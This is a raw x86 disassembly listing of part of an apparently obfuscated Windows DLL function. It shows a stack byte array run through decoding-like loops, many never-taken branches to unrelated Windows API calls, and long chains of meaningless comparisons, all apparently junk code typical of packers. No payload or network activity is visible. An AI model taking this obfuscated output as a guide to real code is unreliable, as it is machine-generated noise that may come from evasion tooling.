mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0x532a
jge 0x100190f0
mov eax, dword [ebp - 0x2c4]
sub eax, dword [ebp - 0x3f4]
mov ecx, dword [ebp - 0x2cc]
or ecx, dword [ebp - 0x3c4]
or eax, ecx
cdq
mov dword [ebp - 0xbb0], eax
mov dword [ebp - 0xbac], edx
push dword [ebp - 0xbac]
push dword [ebp - 0xbb0]
lea ecx, [ebp - 0x141c]
call fcn.1000ac3e
pop ecx
pop ecx
mov dword [ebp - 0xb7c], eax
mov ecx, dword [ebp - 0xb7c]
call fcn.1002218f
push eax
call fcn.1005af25
pop ecx
lea ecx, [ebp - 0x141c]
call fcn.10022185
jmp 0x10019072
jmp 0x1001904c
jmp 0x10019026
jmp 0x10019000
cmp dword [0x1061d938], 0
jne 0x1001b6ff
mov dword [ebp - 0xb84], 0x3fd1
lea eax, [ebp - 0xb84]
push eax
call fcn.10013253
pop ecx
mov dword [ebp - 0x9b4], eax
mov byte [ebp - 0x250], 2
mov byte [ebp - 0x24f], 0x8e
mov byte [ebp - 0x24e], 0xa
mov byte [ebp - 0x24d], 0x31
mov byte [ebp - 0x24c], 1
mov byte [ebp - 0x24b], 0x20
mov byte [ebp - 0x24a], 4
mov byte [ebp - 0x249], 0x2a
mov byte [ebp - 0x248], 0x59
mov byte [ebp - 0x247], 0xbb
mov byte [ebp - 0x246], 0xb
mov byte [ebp - 0x245], 5
mov byte [ebp - 0x244], 0x17
mov byte [ebp - 0x243], 4
mov byte [ebp - 0x242], 0x17
mov byte [ebp - 0x241], 8
mov byte [ebp - 0x240], 0xa
mov byte [ebp - 0x23f], 9
mov byte [ebp - 0x23e], 1
mov byte [ebp - 0x23d], 0xc
mov byte [ebp - 0x23c], 0x39
mov byte [ebp - 0x23b], 6
mov byte [ebp - 0x23a], 0x24
mov byte [ebp - 0x239], 0
mov byte [ebp - 0x238], 0x34
mov byte [ebp - 0x237], 0xb
mov byte [ebp - 0x236], 0x3f
mov byte [ebp - 0x235], 3
mov byte [ebp - 0x234], 0x2e
mov byte [ebp - 0x233], 7
mov byte [ebp - 0x232], 0x3f
mov dword [ebp - 0x41c], 0xfe7d8a87
mov dword [ebp - 0x2d4], 0
jmp 0x10019225
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 1
jge 0x10019241
mov eax, dword [ebp - 0x2d4]
mov dword [ebp + eax*4 - 0xb8c], 0xfffffffd
jmp 0x10019218
mov byte [ebp - 0x114], 0
movzx eax, byte [ebp - 0x114]
test eax, eax
je 0x1001925e
push 0x4c0
call dword [sym.imp.USER32.dll_GetSysColor]
mov dword [ebp - 0x41c], 0
jmp 0x10019277
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
jg 0x10019360
mov dword [ebp - 0x22c], 0xffffffff
mov byte [ebp - 0x16d], 0
movzx eax, byte [ebp - 0x16d]
test eax, eax
je 0x100192aa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [ebp - 0x22c], 0
jmp 0x100192c3
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jg 0x1001935b
mov eax, dword [ebp - 0x22c]
cmp dword [ebp + eax*4 - 0xb8c], 0
je 0x1001932c
mov dword [ebp - 0x2dc], 0xffffffff
mov dword [ebp - 0x2dc], 0
jmp 0x10019303
mov eax, dword [ebp - 0x2dc]
dec eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0
jl 0x1001932a
mov byte [ebp - 0x116], 0
movzx eax, byte [ebp - 0x116]
test eax, eax
je 0x10019328
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x100192f6
jmp 0x10019356
mov byte [ebp - 0x177], 0
movzx eax, byte [ebp - 0x177]
test eax, eax
je 0x10019356
push 0x1277
push 0
push 0x34
push 0
push 0
push 0x1f15
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
jmp 0x100192b6
jmp 0x1001926a
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x250]
and eax, 0xfa
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x250]
or ecx, 0xfa
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x250]
mov byte [ebp + eax - 0xb28], cl
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0xc18], 0xe149cff2
push 3
lea ecx, [ebp - 0xecc]
call fcn.100223ce
mov dword [ebp - 4], 6
mov dword [ebp - 0x3cc], 0
jmp 0x100193dc
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 3
jge 0x100193fe
push dword [ebp - 0x3cc]
lea ecx, [ebp - 0xecc]
call fcn.1002246c
mov dword [eax], 0xf1fa6f63
jmp 0x100193cf
mov byte [ebp - 0x118], 0
movzx eax, byte [ebp - 0x118]
test eax, eax
je 0x10019428
push 0x17ea
push 0
push 0
push 0
push 0
push 0x17f0
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov dword [ebp - 0x5c], 0xfffffff1
jmp 0x10019438
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xe
jge 0x100195eb
mov dword [ebp - 0xb94], 3
mov dword [ebp - 0xa20], 0xd8339896
mov dword [ebp - 0xb9c], 1
mov dword [ebp - 0xba4], 0xffff
mov dword [ebp - 0x2e4], 0
jmp 0x10019483
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 3
jge 0x1001949f
mov eax, dword [ebp - 0x2e4]
mov dword [ebp + eax*4 - 0xc98], 0x6512
jmp 0x10019476
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1198], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc98]
cmp eax, dword [ebp - 0x5c]
jg 0x100194c6
mov dword [ebp - 0x974], 1
jmp 0x100194cd
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x974]
cmp eax, 0x31d26ec1
jg 0x100194ff
cmp dword [ebp - 0x5c], 0
je 0x100194ff
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc98], 0
je 0x100194ff
mov dword [ebp - 0x594], 1
jmp 0x10019506
and dword [ebp - 0x594], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xc98]
imul ecx, dword [ebp - 0x594]
add ecx, dword [ebp + eax - 0xc98]
imul eax, ecx, 0x3a4c
cmp dword [ebp - 0x5c], eax
jge 0x1001953c
mov dword [ebp - 0x82c], 1
jmp 0x10019543
and dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0xb94], eax
mov eax, 0x360d
test eax, eax
je 0x1001955c
cmp dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0xb9c]
mov dword [ebp - 0x10a0], eax
mov eax, 0xa8db
sub eax, dword [ebp - 0xa20]
cmp eax, dword [ebp - 0xba4]
jg 0x1001958d
cmp dword [ebp - 0x5c], 0
je 0x1001958d
mov dword [ebp - 0x59c], 1
jmp 0x10019594
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x59c]
shl eax, 2
mov ecx, dword [ebp - 0xa20]
add ecx, eax
cmp ecx, dword [ebp - 0xc18]
jle 0x100195b9
mov dword [ebp - 0xc20], 1
jmp 0x100195c0
and dword [ebp - 0xc20], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc98]
mov dword [ebp - 0x1250], eax
push 1
lea ecx, [ebp - 0xecc]
call fcn.1002246c
mov dword [eax], 1
jmp 0x10019431
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xecc]
call fcn.10022450
mov dword [ebp - 0x2c], 2
and dword [ebp - 0x214], 0
jmp 0x10019612
mov eax, dword [ebp - 0x2c]
inc eax
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x1f
jae 0x10019ea9
push 4
lea ecx, [ebp - 0xb0c]
call fcn.100223ce
mov dword [ebp - 4], 7
mov dword [ebp - 0x70], 0
jmp 0x10019640
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x10019659
push dword [ebp - 0x70]
lea ecx, [ebp - 0xb0c]
call fcn.1002246c
and dword [eax], 0
jmp 0x10019639
mov dword [ebp - 0x70], 0
jmp 0x10019669
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x1001967f
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xf90], 0x69aed23b
jmp 0x10019662
push 2
lea ecx, [ebp - 0xb0c]
call fcn.1002246c
and dword [eax], 0
jmp 0x100196b5
push 2
lea ecx, [ebp - 0xb0c]
call fcn.1002246c
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x5a4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x5a4]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xb0c]
call fcn.1002246c
cmp dword [eax], 0xffffffed
jg 0x100196e5
push 4
pop eax
imul esi, eax, 0
push 3
lea ecx, [ebp - 0xb0c]
call fcn.1002246c
mov eax, dword [eax]
mov dword [ebp + esi - 0xf90], eax
jmp 0x10019691
mov byte [ebp - 0x16f], 0
movzx eax, byte [ebp - 0x16f]
test eax, eax
je 0x10019705
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb0c]
call fcn.10022450
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x250]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x2c], eax
jne 0x10019b86
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x250]
inc eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x28], 0x801897a4
mov dword [ebp - 0x2ec], 4
mov dword [ebp - 0xc40], 0xa95a2e2
mov dword [ebp - 0x3fc], 0
jmp 0x10019775
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 2
jge 0x10019791
mov eax, dword [ebp - 0x3fc]
mov dword [ebp + eax*4 - 0x264], 0
jmp 0x10019768
mov dword [ebp - 0x28], 1
jmp 0x100197a1
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x10019a85
mov dword [ebp - 0x10a8], 1
mov dword [ebp - 0x11a0], 0xbb1a88af
mov dword [ebp - 0x10b0], 0xffffffff
mov dword [ebp - 0x1220], 0xfffffffc
mov dword [ebp - 0x10b8], 6
mov dword [ebp - 0x11a8], 0xffffffff
mov dword [ebp - 0x10c0], 0xe50714ba
mov dword [ebp - 0xf68], 0x9892657c
mov dword [ebp - 0xf6c], 2
mov dword [ebp - 0xf74], 1
mov dword [ebp - 0x11e0], 1
mov dword [ebp - 0x11dc], 1
mov dword [ebp - 0x11d8], 1
mov dword [ebp - 0x11d4], 1
mov dword [ebp - 0xf7c], 0xf4f
push 4
lea ecx, [ebp - 0xf14]
call fcn.100223ce
mov dword [ebp - 4], 8
push 2
lea ecx, [ebp - 0xd8c]
call fcn.100223ce
mov byte [ebp - 4], 9
mov dword [ebp - 0xd0], 0
jmp 0x1001987f
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 4
jge 0x1001989e
push dword [ebp - 0xd0]
lea ecx, [ebp - 0xf14]
call fcn.1002246c
or dword [eax], 0xffffffff
jmp 0x10019872
mov dword [ebp - 0xd0], 0
jmp 0x100198b7
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x100198d6
push dword [ebp - 0xd0]
lea ecx, [ebp - 0xd8c]
call fcn.1002246c
or dword [eax], 0xffffffff
jmp 0x100198aa
mov eax, dword [ebp - 0x28]
sub eax, 0xfffb
je 0x100198f9
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x264], 0
je 0x100198f9
mov dword [ebp - 0x834], 1
jmp 0x10019900
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x834]
jge 0x10019917
mov dword [ebp - 0xc28], 1
jmp 0x1001991e
and dword [ebp - 0xc28], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp + ecx*4 - 0x264]
imul ecx, dword [ebp + eax - 0x264]
cmp ecx, 0x6881
jg 0x1001994a
mov dword [ebp - 0xc30], 1
jmp 0x10019951
and dword [ebp - 0xc30], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xf84], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x264]
mov dword [ebp - 0xfac], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp + ecx*4 - 0x264]
sub ecx, dword [ebp + eax*4 - 0x264]
mov dword [ebp - 0x5ac], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5ac]
mov dword [ebp + eax - 0x264], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x264]
add eax, dword [ebp - 0x28]
je 0x100199c7
mov byte [ebp - 0x17d], 0
movzx eax, byte [ebp - 0x17d]
test eax, eax
je 0x100199c5
push 0x1703
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x10019a3e
mov dword [ebp - 0x1f4], 0xfffffff8
mov dword [ebp - 0xc38], 0xffffffff
mov dword [ebp - 0x1f4], 0
jmp 0x100199f4
mov eax, dword [ebp - 0x1f4]
dec eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0xfffffffa
jl 0x10019a12
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x264]
mov dword [ebp - 0xc38], eax
jmp 0x100199e7
cmp dword [ebp - 0x1f4], 0
je 0x10019a3e
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xd8c]
call fcn.10022450
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf14]
call fcn.10022450
jmp 0x1001979a
push 0
lea ecx, [ebp - 0xd8c]
call fcn.1002246c
mov dword [ebp - 0x97c], eax
mov eax, dword [ebp - 0x97c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x97c]
mov dword [ecx], eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xd8c]
call fcn.10022450
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf14]
call fcn.10022450
jmp 0x1001979a
cmp dword [ebp - 0x2ec], 0
je 0x10019a92
xor eax, eax
jne 0x10019aa1
cmp dword [ebp - 0x28], 0
jne 0x10019aa1
and dword [ebp - 0x5b4], 0
jmp 0x10019aab
mov dword [ebp - 0x5b4], 1
mov eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x28], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp + eax - 0x264]
je 0x10019ad2
mov dword [ebp - 0x83c], 1
jmp 0x10019ad9
and dword [ebp - 0x83c], 0
mov eax, dword [ebp - 0x83c]
sub eax, dword [ebp - 0x2ec]
cmp eax, dword [ebp - 0x2ec]
jg 0x10019af9
mov dword [ebp - 0x5bc], 1
jmp 0x10019b00
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0x2ec]
cmp dword [ebp - 0x5bc], eax
jne 0x10019b1a
mov dword [ebp - 0xa44], 1
jmp 0x10019b21
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0xa44]
add eax, 0x709bc27
cmp eax, 1
je 0x10019b3d
mov dword [ebp - 0x5c4], 1
jmp 0x10019b44
and dword [ebp - 0x5c4], 0
cmp dword [ebp - 0x5c4], 0
ja 0x10019b59
mov dword [ebp - 0x844], 1
jmp 0x10019b60
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x844]
mov dword [ebp - 0xc40], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x250]
mov ecx, dword [ebp - 0x2c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x2c], eax
jmp 0x1001960a
mov dword [ebp - 0x5f4], 0xe9d05ba7
push 2
lea ecx, [ebp - 0xb00]
call fcn.100223ce
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x46c], 0x60cbeb96
mov dword [ebp - 0x1a8], 0xca69
mov dword [ebp - 0x98c], 1
mov dword [ebp - 0xb3c], 0x607f4707
mov dword [ebp - 0x11f4], 1
mov dword [ebp - 0x11f0], 1
mov dword [ebp - 0x11ec], 1
mov dword [ebp - 0x11e8], 1
mov dword [ebp - 0xfb4], 0xfeac8e4c
mov dword [ebp - 0x85c], 0xffffffff
mov dword [ebp - 0x378], 0
jmp 0x10019c21
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 2
jge 0x10019c43
push dword [ebp - 0x378]
lea ecx, [ebp - 0xb00]
call fcn.1002246c
mov dword [eax], 0x6f084217
jmp 0x10019c14
mov eax, dword [ebp - 0x46c]
dec eax
mov dword [ebp - 0x46c], eax
push 0
lea ecx, [ebp - 0xb00]
call fcn.1002246c
cmp dword [eax], 0xfff8
jb 0x10019c71
mov dword [ebp - 0xc48], 1
jmp 0x10019c78
and dword [ebp - 0xc48], 0
push 0
lea ecx, [ebp - 0xb00]
call fcn.1002246c
push 0
lea ecx, [ebp - 0xb00]
call fcn.1002246c
cmp dword [eax], 9
je 0x10019ca3
mov dword [ebp - 0x5cc], 1
jmp 0x10019caa
and dword [ebp - 0x5cc], 0
cmp dword [ebp - 0x5cc], 0x52b4
jne 0x10019cc2
mov dword [ebp - 0x984], 1
jmp 0x10019cc9
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x984]
sub eax, dword [ebp - 0x46c]
cmp eax, dword [ebp - 0x1a8]
jle 0x10019ce9
mov dword [ebp - 0x5d4], 1
jmp 0x10019cf0
and dword [ebp - 0x5d4], 0
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0x5d4], eax
jge 0x10019d0a
mov dword [ebp - 0x84c], 1
jmp 0x10019d11
and dword [ebp - 0x84c], 0
cmp dword [ebp - 0x84c], 0xfffffffa
jle 0x10019d26
mov dword [ebp - 0x5dc], 1
jmp 0x10019d2d
and dword [ebp - 0x5dc], 0
cmp dword [ebp - 0x5dc], 0x695c
jne 0x10019d45
mov dword [ebp - 0xa2c], 1
jmp 0x10019d4c
and dword [ebp - 0xa2c], 0
cmp dword [ebp - 0xa2c], 1
je 0x10019d6a
cmp dword [ebp - 0x1a8], 0
je 0x10019d6a
mov dword [ebp - 0x5e4], 1
jmp 0x10019d71
and dword [ebp - 0x5e4], 0
push 0
lea ecx, [ebp - 0xb00]
call fcn.1002246c
mov ecx, dword [ebp - 0x5e4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a8]
sub eax, dword [ebp - 0x1a8]
cmp eax, dword [ebp - 0x5f4]
jl 0x10019da6
mov dword [ebp - 0x854], 1
jmp 0x10019dad
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x854]
add eax, 0x5aba9a9
cmp eax, 4
je 0x10019dc9
mov dword [ebp - 0x5ec], 1
jmp 0x10019dd0
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x98c], eax
mov eax, dword [ebp - 0x98c]
imul eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x5f4]
imul ecx, eax
dec ecx
mov dword [ebp - 0xb3c], ecx
mov eax, dword [ebp - 0x85c]
inc eax
mov dword [ebp - 0x85c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb00]
call fcn.10022450
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x214]
movzx eax, byte [ebp + eax - 0x252]
movsx eax, byte [ebp + eax - 0xb28]
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x24f]
and ecx, eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x214]
movzx eax, byte [ebp + eax - 0x252]
movsx eax, byte [ebp + eax - 0xb28]
mov edx, dword [ebp - 0x2c]
movzx edx, byte [ebp + edx - 0x24f]
and edx, eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x214]
movzx eax, byte [ebp + eax - 0x252]
movsx eax, byte [ebp + eax - 0xb28]
mov esi, dword [ebp - 0x2c]
movzx ebx, byte [ebp + esi - 0x24f]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x250]
mov byte [ebp + eax - 0xb28], bl
and dword [ebp - 0x214], 0
jmp 0x1001960a
push 3
lea ecx, [ebp - 0x25c]
call fcn.100223ce
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x1fc], 0x4b7c
mov dword [ebp - 0x138], 0xffffffff
mov dword [ebp - 0xc60], 0x67df2ddf
mov dword [ebp - 0xf8], 0xfffffffc
mov dword [ebp - 0x87c], 0xcdedc29b
mov dword [ebp - 0x98], 0
jmp 0x10019f08
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x10019f2a
push dword [ebp - 0x98]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
mov dword [eax], 1
jmp 0x10019efb
mov dword [ebp - 0x98], 0
jmp 0x10019f43
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x10019f5f
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0xdc], 0xf5020f89
jmp 0x10019f36
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xdc], 0
jmp 0x10019f8d
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xdc]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xdc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xdc], 2
jg 0x1001a550
mov dword [ebp - 0x44], 0x52c58fb7
mov dword [ebp - 0x3c], 0xcde9e843
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x44], 0
jmp 0x10019fc9
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jg 0x1001a2f4
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xdc]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
cmp dword [eax], 0x69bd697e
jge 0x10019fff
mov dword [ebp - 0x5fc], 1
jmp 0x1001a006
and dword [ebp - 0x5fc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xdc]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x5fc], eax
je 0x1001a02d
mov dword [ebp - 0xa4c], 1
jmp 0x1001a034
and dword [ebp - 0xa4c], 0
mov eax, dword [ebp - 0x1fc]
cmp eax, dword [ebp - 0x44]
je 0x1001a04b
mov dword [ebp - 0xc58], 1
jmp 0x1001a052
and dword [ebp - 0xc58], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xdc]
mov dword [ebp - 0xfbc], eax
push 0
lea ecx, [ebp - 0x25c]
call fcn.1002246c
mov ecx, dword [ebp - 0xa4c]
add ecx, dword [eax]
cmp ecx, 2
jae 0x1001a08b
mov dword [ebp - 0x604], 1
jmp 0x1001a092
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x604]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x3c], 0
jmp 0x1001a0ae
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jg 0x1001a2ef
mov dword [ebp - 0x994], 0xda55
mov dword [ebp - 0x864], 0xf8fb6f85
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xdc]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xdc]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
cmp dword [eax], 0
jne 0x1001a11f
mov eax, dword [ebp - 0x994]
mov dword [ebp - 0x864], eax
cmp dword [ebp - 0x864], 0
jne 0x1001a11f
and dword [ebp - 0x60c], 0
jmp 0x1001a129
mov dword [ebp - 0x60c], 1
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x994]
jne 0x1001a14f
mov dword [ebp - 0x614], 1
jmp 0x1001a156
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0xc60]
cmp dword [ebp - 0x614], eax
jl 0x1001a170
mov dword [ebp - 0x86c], 1
jmp 0x1001a177
and dword [ebp - 0x86c], 0
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xdc]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x86c]
jle 0x1001a1a5
mov dword [ebp - 0x61c], 1
jmp 0x1001a1ac
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x61c]
sub eax, dword [ebp - 0x3c]
cmp eax, 0xfffffffe
jl 0x1001a1c6
mov dword [ebp - 0xa54], 1
jmp 0x1001a1cd
and dword [ebp - 0xa54], 0
cmp dword [ebp - 0xa54], 0xa2e7
jle 0x1001a1e5
mov dword [ebp - 0x624], 1
jmp 0x1001a1ec
and dword [ebp - 0x624], 0
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xdc]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
mov ecx, dword [ebp - 0x624]
cmp ecx, dword [eax]
je 0x1001a226
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xdc]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xdc]
mov edi, dword [ebp - 0x474]
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xdc]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
sub edi, dword [eax]
imul edi, esi
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xdc]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
cmp edi, dword [eax]
je 0x1001a27e
mov dword [ebp - 0x874], 1
jmp 0x1001a285
and dword [ebp - 0x874], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x874], eax
jl 0x1001a29f
mov dword [ebp - 0x62c], 1
jmp 0x1001a2a6
and dword [ebp - 0x62c], 0
mov esi, dword [ebp - 0x62c]
sub esi, 6
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xdc]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
cmp esi, dword [eax]
jge 0x1001a2d7
mov dword [ebp - 0x99c], 1
jmp 0x1001a2de
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x99c]
mov dword [ebp - 0xf8], eax
jmp 0x1001a0a7
jmp 0x10019fc2
mov dword [ebp - 0xf8], 2
jmp 0x1001a30d
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jl 0x1001a54b
mov dword [ebp - 0x47c], 0xfffffff8
mov dword [ebp - 0xc70], 0
mov dword [ebp - 0x44], 0
jmp 0x1001a33e
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jg 0x1001a546
mov dword [ebp - 0x138], 2
jmp 0x1001a361
mov eax, dword [ebp - 0x138]
dec eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jl 0x1001a411
mov dword [ebp - 0x1fc], 2
jmp 0x1001a387
mov eax, dword [ebp - 0x1fc]
dec eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0
jl 0x1001a3e1
mov dword [ebp - 0x3c], 0
jmp 0x1001a3a0
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jg 0x1001a3c7
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0xdc]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
cmp dword [eax], 0
je 0x1001a3c5
jmp 0x1001a3c7
jmp 0x1001a399
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x25c]
call fcn.1002246c
cmp dword [eax], 0
je 0x1001a3df
jmp 0x1001a37a
jmp 0x1001a37a
cmp dword [ebp - 0x47c], 0x47e5f8f0
je 0x1001a3f9
mov dword [ebp - 0x634], 1
jmp 0x1001a400
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x634]
mov dword [ebp - 0x474], eax
jmp 0x1001a354
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x87c], eax
cmp dword [ebp - 0x87c], 0
jne 0x1001a441
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xdc]
cmp eax, dword [ebp - 0x138]
